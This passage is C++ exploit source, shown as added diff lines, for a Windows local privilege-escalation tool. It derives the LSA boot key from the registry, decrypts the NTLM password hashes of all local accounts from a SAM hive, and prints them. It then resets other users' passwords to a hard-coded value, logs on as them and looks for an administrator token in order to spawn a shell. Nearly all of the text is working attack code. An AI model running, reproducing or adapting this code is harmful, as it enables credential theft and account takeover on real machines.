(ovd.hEvent) + CloseHandle(ovd.hEvent); + if (hfile) + CloseHandle(hfile); + if (dircreated) + RemoveDirectory(workdir); + + return retval; + + + +} +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions end +///////////////////////////////////////////////////////////////////// + +////////////////////////////////////////////////////////////////////// +// SAM handling start +///////////////////////////////////////////////////////////////////// + + +#define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc +#define SAM_DATABASE_USERNAME_OFFSET 0x0c +#define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10 +#define SAM_DATABASE_LM_HASH_OFFSET 0x9c +#define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0 +#define SAM_DATABASE_NT_HASH_OFFSET 0xa8 +#define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac + +struct PwdEnc +{ + char* buff; + size_t sz; + wchar_t* username; + ULONG usernamesz; + char* LMHash; + ULONG LMHashLenght; + char* NTHash; + ULONG NTHashLenght; + ULONG rid; + +}; + + +NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted); +NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle); +NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle); +NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle); +NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM); + + + +void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) { + size_t len = strlen(hex_string); + if (len % 2 != 0) { + fprintf(stderr, "Error: Hex string length must be even.\n"); + return; + } + + size_t byte_len = len / 2; + if (byte_len > max_len) { + fprintf(stderr, "Error: Output buffer too small.\n"); + return; + } + + for (size_t i = 0; i < byte_len; i++) { + // Read two hex characters and convert them to an unsigned int + unsigned int byte_val; + if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) { + fprintf(stderr, "Error: Invalid hex character in string.\n"); + return; + } + byte_array[i] = (unsigned char)byte_val; + } +} + +bool GetLSASecretKey(unsigned char bootkeybytes[16]) +{ + + const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} }; + int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 }; + + + //ORHKEY hlsa = NULL; + HKEY hlsa = NULL; + DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa); + char data[0x1000] = { 0 }; + DWORD index = 0; + for (const wchar_t* keyname : keynames) + { + DWORD retsz = sizeof(data) / sizeof(char); + HKEY hbootkey = NULL; + err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey); + + err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + index += retsz; + RegCloseKey(hbootkey); + } + //printf("%s\n", data); + RegCloseKey(hlsa); + + if (strlen(data) < 16) + { + printf("Boot key mismatch."); + return 1; + } + + // convert hex string to binary + unsigned char keybytes[16] = { 0 }; + hex_string_to_bytes(data, keybytes, 16); + + + + for (int i = 0; i < sizeof(keybytes); i++) + { + + bootkeybytes[i] = keybytes[indices[i]]; + } + return true; + +} + +void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen) +{ + + char* decrypted = (char*)malloc(enclen); + memmove(decrypted, hashdata, enclen); + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + + struct aes128keyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[16]; + } blob; + + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; + blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_AES_128; + blob.keySize = 16; + memmove(blob.bytes, lsaKey, 16); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_CBC; + CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL); + + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + + + /* + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv); + if (!retval) + return NULL; + + //int decryptedsz = enclen; + retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen); + if (!retval) + return NULL; + retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen); + EVP_CIPHER_CTX_free(en); + if (!retval) + return NULL; + */ + if (decryptedlen) + *decryptedlen = retsz; + + return decrypted; + +} + +#ifndef SHA256_DIGEST_LENGTH +#define SHA256_DIGEST_LENGTH 32 +#endif + +bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH]) +{ + + + char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH); + ZeroMemory(data2, SHA256_DIGEST_LENGTH); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash); + CryptHashData(Hhash, (const BYTE*)data, size, NULL); + DWORD md_len = 0; + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + //inputsz = size; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* en = EVP_MD_CTX_new(); + + bool retval = EVP_DigestInit(en, EVP_sha256()); + if (!retval) + return retval; + retval = EVP_DigestUpdate(en, data, size); + if (!retval) + return retval; + EVP_DigestFinal(en, (unsigned char*)hashout, NULL); + */ + //return retval; + return true; + + + +} + +void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz) +{ + + int hashlen = data[0]; + int enclen = data[4]; + + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + char* cyphertext = (char*)malloc(enclen); + memmove(cyphertext, &data[0x18], enclen); + + // first arg, lsaKey | second arg, iv | thid arg, ciphertext + int outsz = 0; + int pekoutsz = 0; + char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz); + + char* hashdata = (char*)malloc(hashlen); + memmove(hashdata, &data[0x18 + enclen], hashlen); + + char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz); + + + char hash256[SHA256_DIGEST_LENGTH]; + + if (!ComputeSHA256(pek, pekoutsz, hash256)) + { + return NULL; + } + + if (memcmp(hash256, hash, sizeof(hash256)) != 0) + { + printf("Invalid AES password key.\n"); + return NULL; + } + if (keysz) + *keysz = sizeof(hash256); + + + return pek; + +} + +void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz) +{ + + int enctype = samKey[0x68]; + if (enctype == 2) { + int endofs = samKey[0x6c] + 0x68; + int len = endofs - 0x70; + + char* data = (char*)malloc(len); + memmove(data, &samKey[0x70], len); + void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz); + + return retval; + } + __debugbreak(); + return NULL; + +} + +void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz) +{ + int length = data[4]; + if (!length) + return NULL; + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + int ciphertextsz = datasz - 24; + char* ciphertext = (char*)malloc(ciphertextsz); + memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz); + return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz); +} + +void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz) +{ + int enctype = data[2]; + + switch (enctype) + { + case 2: + + return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz); + + break; + default: + __debugbreak(); + break; + } + + return NULL; + + +} + +void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz) +{ + + char* ciphertext2 = (char*)malloc(ciphertextsz); + memmove(ciphertext2, ciphertext, ciphertextsz); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + struct deskeyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[8]; + }blob; + //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz); + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; + blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_DES; + blob.keySize = 8; + memmove(blob.bytes, key, 8); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = ciphertextsz; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz); + + if (outsz) + *outsz = 8; + + //printf("GetLastError : %x\n", GetLastError()); + CryptReleaseContext(hprov, NULL); + return ciphertext2; + + /* + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + printf("GetLastError : %x\n", GetLastError()); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + printf("GetLastError : %x\n", GetLastError()); + */ + /* + OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy"); + if (legacy == NULL) + { + printf("Failed to load Legacy provider\n"); + } + + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL); + + char* plaintext = (char*)malloc(ciphertextsz); + int _outsz = 0; + retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz); + int _outlen = 0; + retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen); + + if (outsz) + *outsz = _outsz; + + return plaintext; + */ +} + +char* DeriveDESKey(char data[7]) +{ + + + union keyderv { + struct { + char arr[8]; + }; + SIZE_T derv; + }; + keyderv ttv = { 0 }; + ZeroMemory(ttv.arr, sizeof(ttv.arr)); + memmove(ttv.arr, data, sizeof(data) - 1); + SIZE_T k = ttv.derv; + + + char* key = (char*)malloc(sizeof(data)); + + for (int i = 0; i < 8; i++) + { + int j = 7 - i; + int curr = (k >> (7 * j)) & 0x7F; + int b = curr; + b ^= b >> 4; + b ^= b >> 2; + b ^= b >> 1; + int keybyte = (curr << 1) ^ (b & 1) ^ 1; + key[i] = (char)keybyte; + } + return key; +} + +void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid) +{ + + union keydata { + struct { + char a; + char b; + char c; + char d; + }; + ULONG data; + }; + + keydata keycontent = { 0 }; + keycontent.data = rid; + char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a }; + char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d }; + + char* rkey1 = DeriveDESKey(key1); + char* rkey2 = DeriveDESKey(key2); + + + int plaintext1sz = 0; + int plaintext2sz = 0; + char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz); + if (!plaintext1) + return NULL; + char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz); + if (!plaintext2) + return NULL; + void* retval = malloc(plaintext1sz + plaintext2sz); + + memmove(retval, plaintext1, plaintext1sz); + memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz); + if (outsz) + *outsz = plaintext1sz + plaintext2sz; + return retval; +} + +void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid) +{ + int _outsz = 0; + void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz); + if (!dec) + return NULL; + int _hashoutsz = 0; + void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid); + if (outsz) + *outsz = _hashoutsz; + return _hash; +} + +unsigned char* HexToHexString(unsigned char* data, int size) +{ + unsigned char* retval = (unsigned char*)malloc(size * 2 + 1); + ZeroMemory(retval, size + 1); + for (int i = 0; i < size; i++) + { + sprintf((char*)&retval[i * 2], "%02x", data[i]); + } + + return retval; +} + + +char* CalculateNTLMHash(char* _input) +{ + + int pw_len = strlen(_input); + char* input = new char[pw_len * 2]; + for (int i = 0; i < pw_len; i++) + { + input[i * 2] = _input[i]; + input[i * 2 + 1] = '\0'; + } + + + unsigned int md_len = 0; + + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash); + + CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL); + + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + unsigned char* md_value = (unsigned char*)malloc(md_len); + inputsz = md_len; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); + EVP_DigestInit_ex(mdctx, EVP_md4(), NULL); + EVP_DigestUpdate(mdctx, input, pw_len * 2); + EVP_DigestFinal_ex(mdctx, md_value, &md_len); + EVP_MD_CTX_free(mdctx); + */ + /* + printf("Digest is: "); + for (int i = 0; i < md_len; i++) + printf("%02x", md_value[i]); + printf("\n"); + */ + return (char*)md_value; + +} +bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL) +{ + + wchar_t libpath[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH); + + HMODULE hm = LoadLibrary(libpath); + if (!hm) + { + printf("Failed to load samlib.dll\n"); + return false; + } + NTSTATUS(WINAPI * _SamConnect) + (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect"); + NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle"); + NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle) + = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain"); + NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser"); + NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser"); + + + if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser) + { + printf("Failed to import required functions from samlib.dll\n"); + return false; + } + + HANDLE hsrv = NULL; + NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false); + if (stat) + { + printf("Failed to connect to SAM, error : 0x%0.8X\n", stat); + return false; + } + //printf("Connected to local SAM.\n"); + LSA_OBJECT_ATTRIBUTES loa = { 0 }; + LSA_HANDLE hlsa = NULL; + stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa); + if (stat) + { + printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + + POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0; + stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo); + if (stat) + { + printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + /*wchar_t* stringsid = 0; + if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid)) + { + printf("Failed to get string sid, error : %d\n", GetLastError()); + return false; + } + printf("Machine SID : %ws\n", stringsid);*/ + LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0; + LSA_TRANSLATED_SID* lsatrans = 0; + LSA_UNICODE_STRING lsaunistr = { 0 }; + RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username); + stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans); + if (stat) + { + printf("LsaLookupNames failed, error : 0x%0.8X\n", stat); + return false; + } + LsaClose(hlsa); + + HANDLE hdomain = NULL; + stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain); + if (stat) + { + printf("SamOpenDomain failed, error : 0x%0.8X\n", stat); + return false; + } + + HANDLE huser = NULL; + stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser); + if (stat) + { + printf("SamOpenUser failed, error : 0x%0.8X\n", stat); + return false; + } + + //char password[] = "testp"; + //char* oldNTLM = CalculateNTLMHash((char*)"testp"); + char* oldNTLM = (char*)nthash; + char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword); + + char oldLm[16] = { 0 }; + char newLm[16] = { 0 }; + stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM); + + if (stat) + { + printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat); + return false; + } + _SamCloseHandle(huser); + _SamCloseHandle(hdomain); + _SamCloseHandle(hsrv); + /* + if (newpassword) { + printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword); + } + else { + printf("Info : user \"%ws\" password has been changed back to older password\n", username); + } + */ + return true; +} +////////////////////////////////////////////////////////////////////// +// SAM handling end +///////////////////////////////////////////////////////////////////// + + +////////////////////////////////////////////////////////////////////// +// Exploit shell spawn start +///////////////////////////////////////////////////////////////////// +BOOL SetPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid)) // receives LUID of privilege + { + printf("LookupPrivilegeValue error: %u\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + 0, + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + printf("AdjustTokenPrivileges error: %u\n", GetLastError()); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + + { + printf("The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + + +bool DoSpawnShellAsAllUsers(HANDLE samfile) +{ + //SSL_library_init(); + //SSL_load_error_strings(); + char newpassword[] = "$PWNed666!!!WDFAIL"; + wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL"; + char* newNTLM = CalculateNTLMHash(newpassword); + bool isadmin = false; + char* retval = 0; + ORHKEY hSAMhive = NULL; + ORHKEY hSYSTEMhive = NULL; + DWORD err = OROpenHiveByHandle(samfile, &hSAMhive); + + bool systemshelllaunched = false; + if (err) + { + printf("OROpenHive failed with error : %d\n", err); + return false; + } + + unsigned char lsakey[16] = { 0 }; + + if (!GetLSASecretKey(lsakey)) + { + printf("Failed to dump LSA secret keys.\n"); + return false; + } + + + ORHKEY hkey = NULL; + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey); + + DWORD valuesz = 0; + err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + char* samkey = (char*)malloc(valuesz); + err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + + ORCloseKey(hkey); + + /////////////////////////////////////////////////////////// + int passwordEncryptionKeysz = 0; + char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz); + + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + + + DWORD subkeys = NULL; + err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if (err) + { + printf("ORQueryInfoKey failed with error : %d\n", err); + return false; + } + + + PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys); + int numofentries = 0; + for (int i = 0; i < subkeys; i++) + { + DWORD keynamesz = 0x100; + wchar_t keyname[0x100] = { 0 }; + err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL); + if (err) + { + printf("OREnumKey failed with error : %d\n", err); + return false; + } + if (_wcsicmp(keyname, L"users") == 0) + continue; + ORHKEY hkey2 = NULL; + err = OROpenKey(hkey, keyname, &hkey2); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + DWORD valuesz = 0; + err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz); + if (err == ERROR_FILE_NOT_FOUND) + continue; + if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc)); + ZeroMemory(SAMpwd, sizeof(PwdEnc)); + SAMpwd->sz = valuesz; + SAMpwd->buff = (char*)malloc(valuesz); + ZeroMemory(SAMpwd->buff, valuesz); + err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + SAMpwd->rid = wcstoul(keyname, NULL, 16); + + ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET]; + SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET]; + SAMpwd->usernamesz = *usernamesz; + + ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET]; + SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET]; + SAMpwd->LMHashLenght = *LMhashsz; + + ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET]; + SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET]; + SAMpwd->NTHashLenght = *NThashsz; + + pwdenclist[i] = SAMpwd; + numofentries++; + } + + + wchar_t currentusername[UNLEN + 1] = { 0 }; + DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t); + if (!GetUserName(currentusername, &usernamesz)) + { + printf("Failed to get current user name, error : %d", GetLastError()); + return false; + } + + + for (int i = 0; i < numofentries; i++) + { + PwdEnc* samentry = pwdenclist[i]; + int realNTLMHashsz = 0; + char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid); + char* stringntlm = 0; + char emptyrepresentation[] = "{NULL}"; + if (realNTLMHashsz) + { + stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz); + } + else + { + + stringntlm = emptyrepresentation; + } + wchar_t username[UNLEN + 1] = { 0 }; + if (samentry->usernamesz <= sizeof(username)) + { + memmove(username, samentry->username, samentry->usernamesz); + } + printf("******************************************\n"); + printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm); + if (realNTLMHash == NULL || realNTLMHashsz == 0) { + printf(" Skip : NULL NTLM.\n"); + continue; + } + if (_wcsicmp(username, currentusername) == 0) + { + printf(" Skip : Current User.\n"); + continue; + } + if (_wcsicmp(username, L"WDAGUtilityAccount") == 0) + { + printf(" Skip : WDAGUtilityAccount detected.\n"); + continue; + } + + retval = realNTLMHash; + + if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM)) + { + printf(" NewPasswordSet : OK.\n"); + + HANDLE htoken = NULL; + PSID logonsid = 0; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + if (!systemshelllaunched) { + TOKEN_ELEVATION_TYPE tokentype; + DWORD retsz = 0; + if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + if (tokentype == TokenElevationTypeLimited) + { + TOKEN_LINKED_TOKEN linkedtoken = { 0 }; + + + if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + HANDLE hdup = linkedtoken.LinkedToken; + + DWORD sidsz = MAX_SID_SIZE; + PSID administratorssid = malloc(sidsz); + + if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz)) + { + printf("Failed to create well known sid, error : %d\n", GetLastError()); + } + + + + if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin)) + { + printf("CheckTokenMembership failed with error : %d\n", GetLastError()); + } + free(administratorssid); + + CloseHandle(hdup); + } + + if (isadmin) + { + + + + + printf(" IsAdmin : TRUE\n"); + HANDLE htoken2 = NULL; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE); + const wchar_t sid_string[] = L"S-1-16-8192"; + TOKEN_MANDATORY_LABEL integrity; + PSID sid = NULL; + ConvertStringSidToSidW(sid_string, &sid); + ZeroMemory(&integrity, sizeof(integrity)); + integrity.Label.Attributes = SE_GROUP_INTEGRITY; + integrity.Label.Sid = sid; + if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) { + wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError()); + } + LocalFree(sid); + //CloseHandle(htoken2); + + 